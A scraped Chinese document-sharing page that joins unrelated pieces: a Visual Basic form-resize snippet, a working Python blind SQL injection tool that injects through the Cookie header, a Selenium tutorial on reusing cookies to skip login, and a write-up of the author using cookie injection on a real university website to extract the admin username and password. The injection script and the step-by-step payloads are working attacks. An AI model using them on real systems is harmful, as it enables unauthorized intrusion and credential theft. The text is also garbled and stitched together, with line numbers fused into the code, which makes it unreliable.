form1.scaleheight原值* 调整后的窗体高度(Form1.Scaleheight)'调整后的左距text1.left = text1.left原值/ form1.scalewidth原值* 调整后的窗体宽度(Form1.ScaleWidth)'调整后的上距text1.top = text1.top原值/ form1.scaleheight原值* 调整后的窗体高度(Form1.Scaleheight)Private Sub Form_Resize()text1.Width = 7695 / 10665 * Form1.ScaleWidthtext1.Height = 375 / 7995 * Form1.ScaleHeighttext1.Left = 1320 / 10665 * Form1.ScaleWidthtext1.Top = 180 / 7995 * Form1.ScaleHeightText2.Width = 7695 / 10665 * Form1.ScaleWidthText2.Height = 375 / 7995 * Form1.ScaleHeightText2.Left = 1320 / 10665 * Form1.ScaleWidthText2.Top = 780 / 7995 * Form1.ScaleHeightText3.Width = 5895 / 10665 * Form1.ScaleWidthText3.Height = 375 / 7995 * Form1.ScaleHeightText3.Left = 3120 / 10665 * Form1.ScaleWidthText3.Top = 1320 / 7995 * Form1.ScaleHeightText5.Width = 795 / 10665 * Form1.ScaleWidthText5.Height = 375 / 7995 * Form1.ScaleHeightText5.Left = 1320 / 10665 * Form1.ScaleWidthText5.Top = 1320 / 7995 * Form1.ScaleHeightLabel1.Width = 1035 / 10665 * Form1.ScaleWidthLabel1.Height = 375 / 7995 * Form1.ScaleHeightLabel1.Left = 240 / 10665 * Form1.ScaleWidthLabel1.Top = 240 / 7995 * Form1.ScaleHeightLabel2.Width = 1035 / 10665 * Form1.ScaleWidthLabel2.Height = 375 / 7995 * Form1.ScaleHeightLabel2.Left = 240 / 10665 * Form1.ScaleWidthLabel2.Top = 840 / 7995 * Form1.ScaleHeightLabel3.Width = 1035 / 10665 * Form1.ScaleWidthLabel3.Height = 375 / 7995 * Form1.ScaleHeightLabel3.Left = 2220 / 10665 * Form1.ScaleWidthLabel3.Top = 1380 / 7995 * Form1.ScaleHeightLabel4.Width = 1035 / 10665 * Form1.ScaleWidthLabel4.Height = 375 / 7995 * Form1.ScaleHeightLabel4.Left = 240 / 10665 * Form1.ScaleWidthLabel4.Top = 1380 / 7995 * Form1.ScaleHeightCommand1.Width = 1215 / 10665 * Form1.ScaleWidth Command1.Height = 375 / 7995 * Form1.ScaleHeight Command1.Left = 9240 / 10665 * Form1.ScaleWidth Command1.Top = 780 / 7995 * Form1.ScaleHeightCommand2.Width = 1215 / 10665 * Form1.ScaleWidth Command2.Height = 375 / 7995 * Form1.ScaleHeight Command2.Left = 9240 / 10665 * Form1.ScaleWidth Command2.Top = 180 / 7995 * Form1.ScaleHeightCommand3.Width = 555 / 10665 * Form1.ScaleWidth Command3.Height = 375 / 7995 * Form1.ScaleHeight Command3.Left = 9240 / 10665 * Form1.ScaleWidth Command3.Top = 1320 / 7995 * Form1.ScaleHeightCommand4.Width = 555 / 10665 * Form1.ScaleWidth Command4.Height = 375 / 7995 * Form1.ScaleHeight Command4.Left = 9900 / 10665 * Form1.ScaleWidth Command4.Top = 1320 / 7995 * Form1.ScaleHeightWebBrowser1.Width = 10215 / 10665 * Form1.ScaleWidth WebBrowser1.Height = 5835 / 7995 * Form1.ScaleHeightWebBrowser1.Left = 300 / 10665 * Form1.ScaleWidth WebBrowser1.Top = 1920 / 7995 * Form1.ScaleHeightEnd Sub。

cookie注入脚本

cookie注入脚本

cookie注⼊脚本1import urllib.request2import urllib.parse3import urllib.error4import http.cookiejar5import argparse67# url='http://172.20.10.8/bug/cookie.php'8 url = argparse.ArgumentParser()9 url.add_argument('-u',help="-u http://localhost/cookie.php",type=str)10 url.add_argument('-cookie',help="-cookie id=xxx",type=str)11 args = url.parse_args()12 url = args.u13 cookie = args.cookie14 grey = '''15*****************************************************1617 SQL mysql_cookie 注⼊⼯具18作者:Grey_Network1920*****************************************************21'''2223print(grey)2425 a = "%20and%201=1"26 b = "%20and%201=2"27 header={28'User-Agent':'Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36',29'Referer':url,30'Cookie':cookie31 }32 headera={33'User-Agent':'Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36',34'Referer':url,35'Cookie':cookie+a36 }37 headerb={38'User-Agent':'Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36',39'Referer':url,40'Cookie':cookie+b41 }42 sqlurl = urllib.request.Request(url,headers=header)43 sqlurl1 = urllib.request.urlopen(sqlurl).read()44 sqla = urllib.request.Request(url,headers=headera)45 sqla1 = urllib.request.urlopen(sqla).read()46 sqlb = urllib.request.Request(url,headers=headerb)47 sqlb1 = urllib.request.urlopen(sqlb).read()484950if sqlurl1 == sqla1 and sqlurl !=sqlb1:51 table= input("Whether or not the scan table ? Y/n > ")52 dirt = "table.txt"53 webdirt=[]54 with open(dirt) as infile:55while True:56 dirdict = infile.readline().strip()57if (len(dirdict) == 0): break58 webdirt.append(dirdict)59if table == "y":60for line in webdirt:61 headert = {62'User-Agent': 'Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36', 63'Referer': url,64'Cookie': cookie + "%20and%20exists%20(select%20*%20from%20" + line + ")"65 }66 table_scan = urllib.request.Request(url,headers=headert)67 table_scan1 = urllib.request.urlopen(table_scan).read()68if table_scan1 == sqla1 and table_scan1 !=sqlb1:69print("table:\n",line)70 column = input("Whether to scan the field ? Y/n > ")71 table_file = input("table > ")72 dirc = "column.txt"73 webdirc = []74 with open(dirc) as infilec:75while True:76 dirdicc = infilec.readline().strip()77if (len(dirdicc) == 0): break78 webdirc.append(dirdicc)79if column == "y":80for linec in webdirc:81 headerc = {82'User-Agent': 'Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36',83'Referer': url,84'Cookie': cookie + "%20and%20exists%20(select%20"+linec+"%20from%20" + table_file + ")"85 }86 column_scan = urllib.request.Request(url, headers=headerc)87 column_scan1 = urllib.request.urlopen(column_scan).read()88if column_scan1 == sqla1 and column_scan1 != sqlb1:89print("column:\n", linec)90 c1 = input("Do you start guessing ? Y/n > ")91 column_file = input("column > ")92if c1 == "y":93 o = 094while(o<100):95 o = o+196 oc = str(o)97 headerc1 = {98'User-Agent': 'Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36',99'Referer': url,100'Cookie': cookie + "%20and%20length("+column_file+")="+oc101 }102 c1_scan = urllib.request.Request(url,headers=headerc1)103 c1_scan1 = urllib.request.urlopen(c1_scan).read()104if c1_scan1 == sqla1 and c1_scan1 != sqlb1:105106 ca1=0107while(ca1<int(oc)):108 ca1=ca1+1109 cac1=str(ca1)110 ca2=0111while(ca2<128):112 ca2=ca2+1113 cac2 = str(ca2)114 headerca1 = {115'User-Agent': 'Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36', 116'Referer': url,117'Cookie': cookie + "%20and%20ord(mid("+column_file+","+cac1+",1))="+cac2118 }119 ca1_scan = urllib.request.Request(url,headers=headerca1)120 ca1_scan1 = urllib.request.urlopen(ca1_scan).read()121if ca1_scan1 == sqla1 and ca1_scan1 != sqlb1:122 data_dump = chr(int(cac2))123print(data_dump)124else:125print("很遗憾,⽆法注⼊")。

Seleniumwebdriver添加cookie实现过程详解

Seleniumwebdriver添加cookie实现过程详解

Seleniumwebdriver添加cookie实现过程详解⼀. webdriver中常⽤的cookie⽅法webdriver中提供了操作cookie的相关⽅法:get_cookies() 获得cookie信息add_cookie(cookie_dict) 添加cookiedelete_cookie(name) 删除特定(部分)的cookiedelete_all_cookies() 删除所有的cookie⼆. add_cookie()的⽤法1. 源码中的解释源码中简略的向我们展⽰了如何添加cookie,源码如下:def add_cookie(self, cookie_dict):"""Adds a cookie to your current session.:Args:- cookie_dict: A dictionary object, with required keys - "name" and "value";optional keys - "path", "domain", "secure", "expiry"Usage:driver.add_cookie({'name' : 'foo', 'value' : 'bar'})driver.add_cookie({'name' : 'foo', 'value' : 'bar', 'path' : '/'})driver.add_cookie({'name' : 'foo', 'value' : 'bar', 'path' : '/', 'secure':True})"""self.execute(Command.ADD_COOKIE, {'cookie': cookie_dict})从中可以看出add_cookie()这个函数有⼀个参数cookie_dict,它是以字典的形式传⼊的,字典中必选的键是"name"和"value",可选的键是"path", "domin", "secure", "expiry",其实源码中还漏了⼀个:"httponly"2. cookie中键名的含义name:cookie的名称value:cookie对应的值,动态⽣成的domain:服务器域名expiry:Cookie有效终⽌⽇期path:Path属性定义了Web服务器上哪些路径下的页⾯可获取服务器设置的CookiehttpOnly:防脚本攻击secure:在Cookie中标记该变量,表明只有当浏览器和Web Server之间的通信协议为加密认证协议时三. 实例第⼀步:我们先⼿⼯做⼀次登录,打开chrome的调试⼯具(F12),选择Network—Preserve log—XHR第⼆步:点击登录,打开调试⼯具中的login,可以看到右边Response Headers下⾯就出现了服务器返回给浏览器的cookie第三步:python代码的实现,最容易出现问题的可能是这⼀步from selenium import webdriverdriver = webdriver.Chrome()cookies = {'value': 'think%3A%7B%22username%210293%31628193MDAwMDAwMLOGpZaIudFqhc6Gl7LQetmZtmfOk2RhbQ%22%2C%22expire%sfdaaswMDAwMDAwMLOGud6Gqb-whbiCmLOmdZ4%22%2C%22token%22%3A%22MDAwMDAwMDAwMMur 'name': 'ketangpai_home_remember'}driver.add_cookie(cookie_dict=cookies)driver.get(https:///Main/index.html)运⾏结果后发现报错了:Message: unable to set cookieTraceback (most recent call last):File "D:/python_workshop/python6/selenium_webdriver/add_cookies的使⽤(⼆).py", line 9, in <module>driver.add_cookie(cookie_dict=cookies)File "D:\Program\python34\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 872, in add_cookieself.execute(Command.ADD_COOKIE, {'cookie': cookie_dict})File "D:\Program\python34\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 312, in executeself.error_handler.check_response(response)File "D:\Program\python34\lib\site-packages\selenium\webdriver\remote\errorhandler.py", line 242, in check_responseraise exception_class(message, screen, stacktrace)mon.exceptions.WebDriverException: Message: unable to set cookie(Session info: chrome=66.0.3359.139)(Driver info: chromedriver=2.35.528161 (5b82f2d2aae0ca24b877009200ced9065a772e73),platform=Windows NT 6.1.7600 x86_64)第四步:修改代码,解决问题"技术提⽰:必须⾸先加载⽹站,这样Selenium 才能知道cookie 属于哪个⽹站,即使加载⽹站的⾏为对我们没任何⽤处"只需要给原来的代码加上⼀句(红⾊部分),这个url填"https:///User/login.html"或"https:///Main/index.html"都⾏,只要是同⼀个domain就⾏,浏览器会⾃动跳转到登录页⾯:from selenium import webdriverdriver = webdriver.Chrome()cookies = {'value': 'think%3A%7B%22username%210293%31628193MDAwMDAwMLOGpZaIudFqhc6Gl7LQetmZtmfOk2RhbQ%22%2C%22expire%sfdaaswMDAwMDAwMLOGud6Gqb-whbiCmLOmdZ4%22%2C%22token%22%3A%22MDAwMDAwMDAwMMur 'name': 'ketangpai_home_remember'}driver.get("https:///User/login.html")driver.add_cookie(cookie_dict=cookies)driver.get(https:///Main/index.html)再次运⾏,发现已经成功了四. 获取cookie的⽅法不⽌⼀种cookie的可以通过浏览器调试来获取,当然也可以通过抓包⼯具获取,那么能不能⽤代码来获取呢?答案是肯定的参照上⾯那篇博⽂,我们完成以下代码,第⼀次通过driver1发送⽤户名和密码登录,获取cookie并保存,第⼆次driver2添加driver1保存的cookie,达到绕过登录的⽬录from selenium import webdriverimport time#driver1登录⽹站,获得cookie并保存driver1 = webdriver.Chrome()driver1.get("https:///User/login.html")driver1.maximize_window()time.sleep(2)#第⼀次通过send_keys向输⼊框发送⽤户名密码登录driver1.find_element_by_xpath("//input[@name='account']").send_keys("your username")driver1.find_element_by_xpath("//input[@name='pass']").send_keys("your password")time.sleep(2)driver1.find_element_by_xpath("//div[@class='padding-cont pt-login']//a[@class='auto-login fl']").click()time.sleep(3)driver1.find_element_by_xpath("//div[@class='padding-cont pt-login']//a[@class='btn-btn']").click()time.sleep(6)#⽤get_cookies的⽅法得到登录后的cookie,这个cookie是个列表,列表中两个元素都是字典,第⼀个是登录前的cookie,第⼆个是登录后的cookie#将cookie保存在变量savedCookies中savedCookies = driver1.get_cookies()print(savedCookies)#driver2得到driver1的cookie,先删除⾃⼰的所有cookie,再将driver1的cookie添加进来driver2 = webdriver.Chrome()#必须⾸先加载⽹站,这样selenium才知道cookie是属于哪个⽹站的driver2.get("https:///User/login.html")#⼀旦加载⽹站,即使没登录,也会产⽣⼀个cookie,所以这个cookie被删除了driver2.delete_all_cookies()#遍历savedCookies中的两个元素for cookie in savedCookies:#k代表着add_cookie的参数cookie_dict中的键名,这次我们要传⼊这5个键for k in {'name', 'value', 'domain', 'path', 'expiry'}:#cookie.keys()属于'dict_keys'类,通过list将它转化为列表if k not in list(cookie.keys()):#saveCookies中的第⼀个元素,由于记录的是登录前的状态,所以它没有'expiry'的键名,我们给它增加if k == 'expiry':t = time.time()cookie[k] = int(t) #时间戳s#将每⼀次遍历的cookie中的这五个键名和键值添加到cookiedriver2.add_cookie({k: cookie[k] for k in {'name', 'value', 'domain', 'path', 'expiry'}})#加载我们想要看到的页⾯的urldriver2.get("https:///Main/index.html")#再次打印driver2的cookieprint(driver2.get_cookies())注意:cookie有两种,⼀种是会话级别的,⼀种是有有效期的,会话级别的cookie就不能⽤add_cookie的⽅法了,因为⼀次会话过程(从打开浏览器到关闭浏览器,断开连接)结束后它就失效了以上就是本⽂的全部内容,希望对⼤家的学习有所帮助,也希望⼤家多多⽀持。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

/Article/200906/39180.html
暗组zachary
大学快毕业了,想起高考时想填的一个学校,由于高考考的比较差,只超过二本十多分,只能往二本中靠低的学校填。

首先踩点,打开google输入:site:XXXXXX inurl:asp?id= 搜出很多链接,随便打开了一个,在后面加上单引号,提示如图一所示
明显做了防注入过滤。

按照我一般的思路是:首先是检查是否有注入点,不行就检查cookie 注入,再不行就找别的突破点。

清空地址栏,输入:javascript:alert(document.cookie=”id=”+escape(“1556 and 1=1”)),然后去掉?id=1556输入/list.asp,返回正常,得到页面如图二所示:
再清空地址栏,输入:javascript:alert(document.cookie=“id=”+escape(“1556 and 1=2”))回车,然后输入:/list.asp,得到页面如图三所示
页面二与页面三明显存在不同,是存在cookie注入的。

现在来获取账号密码。

首先利用order by进行字段数查询。

输入:javascrip:alert(document.Cookie=“id=”+escape(“1556 order by 10”)),返回正常页面,这说明字段数大于10,经过几次猜解,确定字段数为30。

开始猜表名:输入:javascript:alert(document.cookie=“id=”+escape(“1556 and 1=2 select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,,27,28,29,30 from admin”))回车,再次输入/list.asp得到页面,并把可显示的字段显示出来了,如图四所示:
开始猜字段名:清空地址栏输入:javascript:alert(document.cookie=“id=”+escape(“1556 and 1=2 select
1,2,3,4,5,6,7,8,9,10,11,12,username ,password,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from admin”)回车,清空地址栏输入:/list.asp,得到如图五所示的页面
这样就把管理员的账号密码爆出来了,登入后台,发现后台的功能太少了,可利用的地方几乎没有。

最后没得拿到shell。

后台页面如图。

相关文档
最新文档